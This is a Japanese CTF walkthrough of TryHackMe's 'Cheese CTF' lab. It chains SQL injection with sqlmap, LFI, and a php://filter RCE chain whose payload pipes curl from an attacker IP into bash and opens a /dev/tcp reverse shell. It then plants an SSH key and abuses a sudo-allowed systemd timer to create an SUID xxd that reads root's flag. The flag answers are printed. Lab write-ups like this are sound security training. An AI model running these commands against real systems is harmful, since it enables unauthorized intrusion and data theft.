0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Cheese CTF:Walkthrough

Posted at

概要

TryHackMe「Cheese CTF」のWalkthroughです。

Task2

Q1.What is the user.txt flag?

ポートスキャンを実行します。

$ nmap -Pn -T4 -A -sC -sV  10.10.107.55 -oN nmap_result
PORT   STATE SERVICE VERSION
PORT      STATE SERVICE                 VERSION
1/tcp     open  tcpmux?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe: 
|_    550 12345 0000000000000000000000000000000000000000000000000000000
3/tcp     open  compressnet?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe: 
|_    550 12345 0000000000000000000000000000000000000000000000000000000
4/tcp     open  unknown

(省略)

様々なポートが検出されました。
Portspoofが設定されているようでオープンポートが偽装されています。

とりあえず80,22ポートに絞って調査します。

80番ポートにアクセスします。

home.jpg

ディレクトリスキャンをします。

$ gobuster dir -u http://10.10.38.113 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x php,html -t 100
/.php                 (Status: 403) [Size: 277]
/images               (Status: 301) [Size: 313] [--> http://10.10.38.113/images/]
/.html                (Status: 403) [Size: 277]
/index.html           (Status: 200) [Size: 1759]
/login.php            (Status: 200) [Size: 834]
/messages.html        (Status: 200) [Size: 448]
/orders.html          (Status: 200) [Size: 380]

/login.phpにアクセスするとログインフォームが表示されました。

login form.jpg

SQLインジェクションを試みるとDBの内容を取得できました。

$ sqlmap -r login_request.txt --batch --dbs
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=a' AND (SELECT 2412 FROM (SELECT(SLEEP(5)))DYRi) AND 'LNUy'='LNUy&password=a
---
available databases [2]:
[*] information_schema
[*] users

$ sqlmap -r login_request.txt --batch --dbms=mysql -D users --tables
Database: users
[1 table]
+-------+
| users |
+-------+

$ sqlmap -r login_request.txt --batch --dbms=mysql -D users -T users --dump
Database: users
Table: users
[1 entry]
+----+----------------------------------+----------+
| id | password                         | username |
+----+----------------------------------+----------+
| 1  | 5b0c2e1b4fe1410e47f26feff7f4fc4c | comte    |
+----+----------------------------------+----------+

得られたハッシュ値は解読できませんでした。

Sqlmapの出力メッセージを見るとリダイレクト先のURLが分かりました。

got a 302 redirect to 'http://10.10.38.113/secret-script.php?file=supersecretadminpanel.html'. Do you want to follow? [Y/n] Y

リダイレクト先にアクセスすると管理者ページにアクセスできました。

admin panel.jpg

?file=パラメータに/etc/passwdを入れるとLFIの悪用に成功しました。

etc passwd.jpg

Ordersページにアクセスるとphp://filterが使用されています。

`?file=php://filter/resource=orders.html`

LFIのphp://filterを利用したRCEを悪用します。

下記リポジトリのペイロード作成ツールを使用します。

ツールを実行し、?file=パラメータに使用するペイロードを作成できました。

$ python php_filter_chain_generator.py --chain "<?php system('curl http://10.6.55.144/shell.sh|bash'); ?>"
[+] The following gadget chain will generate the following code : <?php system(curl http://10.6.55.144/shell.sh|bash); ?> (base64 value: PD9waHAgc3lzdGVtKGN1cmwgaHR0cDovLzEwLjYuNTUuMTQ0L3NoZWxsLnNofGJhc2gpOyA/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|

(省略)

リバースシェルファイルを作成します。

shell.sh
#!/bin/bash

bash -i >& /dev/tcp/10.6.55.144/1234 0>&1

httpサーバーを起動します。

$ python -m http.server 80

Netcatでリッスンします。

$ nc -lvnp 1234
listening on [any] 1234 ...

作成したペイロードでリクエストを送信するとリバースシェルが張れました。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.38.113] 48012
bash: cannot set terminal process group (837): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cheesectf:/var/www/html$

TTYの設定をします。

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

comteアカウントのauthorized_keysに書き込み権限があります。

$ ls -la .ssh
ls -la .ssh
total 8
drwxr-xr-x 2 comte comte 4096 Mar 25  2024 .
drwxr-xr-x 7 comte comte 4096 Apr  4 17:26 ..
-rw-rw-rw- 1 comte comte    0 Mar 25  2024 authorized_keys

authorized_keysにKaliの公開鍵を書き込みます。

$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBAdms08N2Rd+Wt6UZ74W0OyFlFt/mnGyKY/PkV9RXYYDljCC6AULUw1UbCWHpfCU3AT75b57Y97JkhvvW5/X8QNl444H+PWlMngBYxYnlP5WMGtfIRfoo28JVNUH6LQRmQv9SmOepikkmDqBwyptUDl90CLroCrO8DO+vSjOfnYDV3ewGLp487iHRN2IptsbVaNjVQqoo3Amc277oZNNQX8XwpkuOVlQn2zKU9u6eSHqvtRjeBsHyo771/4MTR1fdQH8pABgjYTjTaHjIX/u1s8nL/DSEJ9DDOxcKjdU0wijOSyrCJSMrHx8Y4Dt+SooL5eYiQCZ8Om6nBWT5qe9aLVtW1lYeOnxVt+6hO7eJOb/k+SVFxnysjSdOJfkUgJgFE2LwbwYQWtLzcOwFx64GNU881H8Q9KZbw0Z6ei5EP7LVsqYb/0PHcc8PKg5i1rR665hDN12js3gfLaCDo3AnprxshtrD+dtGmXIvLmHK3zcZKANy6VCX8B1StgjhTfE= kali@kali" > authorized_keys

comteアカウントでSSH接続に成功しました。

$ ssh -i ~/.ssh/id_rsa comte@10.10.38.113
comte@cheesectf:~$

/home/comte/user.txtからユーザーフラグを入手できました。

/home/comte/user.txt
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠉⠛⠻⢶⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⠟⠁⣠⣴⣶⣶⣤⡀⠈⠉⠛⠿⢶⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡿⠃⠀⢰⣿⠁⠀⠀⢹⡷⠀⠀⠀⠀⠀⠈⠙⠻⠷⣶⣤⣀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠋⠀⠀⠀⠈⠻⠷⠶⠾⠟⠁⠀⠀⣀⣀⡀⠀⠀⠀⠀⠀⠉⠛⠻⢶⣦⣄⡀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⠁⠀⠀⢀⣀⣀⡀⠀⠀⠀⠀⠀⠀⣼⠟⠛⢿⡆⠀⠀⠀⠀⠀⣀⣤⣶⡿⠟⢿⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠋⠀⠀⣴⡿⠛⠛⠛⠛⣿⡄⠀⠀⠀⠀⠻⣶⣶⣾⠇⢀⣀⣤⣶⠿⠛⠉⠀⠀⠀⢸⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⠟⠀⠀⠀⠀⢿⣦⡀⠀⠀⠀⣹⡇⠀⠀⠀⠀⠀⣀⣤⣶⡾⠟⠋⠁⠀⠀⠀⠀⠀⣠⣴⠾⠇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⡿⠁⠀⠀⠀⠀⠀⠀⠙⠻⠿⠶⠾⠟⠁⢀⣀⣤⡶⠿⠛⠉⠀⣠⣶⠿⠟⠿⣶⡄⠀⠀⣿⡇⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⠟⢁⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⠾⠟⠋⠁⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⣼⡇⠀⠀⠙⢷⣤⡀
⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⣾⡏⢻⣷⠀⠀⠀⢀⣠⣴⡶⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣷⣤⣤⣴⡟⠀⠀⠀⠀⠀⢻⡇
⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⠀⠀⠙⠛⢛⣋⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠁⠀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⠀⠀⣠⣾⠟⠁⠀⢀⣀⣤⣤⡶⠾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣤⣤⣤⣤⣤⡀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⣠⣾⣿⣥⣶⠾⠿⠛⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣶⠶⣶⣤⣀⠀⠀⠀⠀⠀⢠⡿⠋⠁⠀⠀⠀⠈⠉⢻⣆⠀⠀⠀⠀⢸⡇
⠀⢸⣿⠛⠉⠁⠀⢀⣠⣴⣶⣦⣀⠀⠀⠀⠀⠀⠀⠀⣠⡿⠋⠀⠀⠀⠉⠻⣷⡀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠘⣿⠀⠀⠀⠀⢸⡇
⠀⢸⣿⠀⠀⠀⣴⡟⠋⠀⠀⠈⢻⣦⠀⠀⠀⠀⠀⢰⣿⠁⠀⠀⠀⠀⠀⠀⢸⣷⠀⠀⠀⢻⣧⠀⠀⠀⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⢿⡆⠀⠀⠀⠀⢰⣿⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⣸⡟⠀⠀⠀⠀⠙⢿⣦⣄⣀⣀⣠⣤⡾⠋⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⠘⣿⣄⣀⣠⣴⡿⠁⠀⠀⠀⠀⠀⠀⢿⣆⠀⠀⠀⢀⣠⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠀⠀⠀⣀⣤⣴⠿⠃
⠀⠸⣷⡄⠀⠀⠀⠈⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠻⠿⠿⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⡶⠟⠋⠉⠀⠀⠀
⠀⠀⠈⢿⣆⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⣶⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢨⣿⠀⠀⠀⠀⠀⠀⣼⡟⠁⠀⠀⠀⠹⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣠⡾⠋⠀⠀⠀⠀⠀⠀⢻⣇⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢠⣾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣤⣤⣤⣴⡿⠃⠀⠀⣀⣤⣶⠾⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⣀⣠⣴⡾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⡇⠀⠀⠀⠀⣀⣤⣴⠾⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢻⣧⣤⣴⠾⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠘⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀


THM{9f2ce3df1beeecaf695b3a8560c682704c31b17a}

A.THM{9f2ce3df1beeecaf695b3a8560c682704c31b17a}

Q2.What is the root.txt flag?

sudo -lを実行するとexploit.timerが設定されています。

$ sudo -l
User comte may run the following commands on cheesectf:
    (ALL) NOPASSWD: /bin/systemctl daemon-reload
    (ALL) NOPASSWD: /bin/systemctl restart exploit.timer
    (ALL) NOPASSWD: /bin/systemctl start exploit.timer
    (ALL) NOPASSWD: /bin/systemctl enable exploit.timer

タイマーファイルに対応するexploit.serviceファイルの内容を見るとxxdプログラムがコピーされてSUIDが設定されています。

exploit.service
[Unit]
Description=Exploit Service

[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"

exploit.timerファイルのOnBootSecを設定します。

exploit.timer
[Unit]
Description=Exploit Timer

[Timer]
OnBootSec=2s

[Install]
WantedBy=timers.target

exploit.timerを起動します。

$ sudo /bin/systemctl start exploit.timer

しばらくすると/opt配下にxxdプログラムがコピーされます。
SUIDも設定されています。

$ ls -la /opt
total 28
drwxr-xr-x  2 root root  4096 Sep 29 12:29 .
drwxr-xr-x 19 root root  4096 Sep 27  2023 ..
-rwsr-sr-x  1 root root 18712 Sep 29 12:29 xxd

GTFOBinsを参考に/root/root.txtからルートフラグを入手できます。

$ LFILE=/root/root.txt
$ ./xxd "$LFILE" | xxd -r
      _                           _       _ _  __
  ___| |__   ___  ___  ___  ___  (_)___  | (_)/ _| ___
 / __| '_ \ / _ \/ _ \/ __|/ _ \ | / __| | | | |_ / _ \
| (__| | | |  __/  __/\__ \  __/ | \__ \ | | |  _|  __/
 \___|_| |_|\___|\___||___/\___| |_|___/ |_|_|_|  \___|


THM{dca75486094810807faf4b7b0a929b11e5e0167c}

A.THM{dca75486094810807faf4b7b0a929b11e5e0167c}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?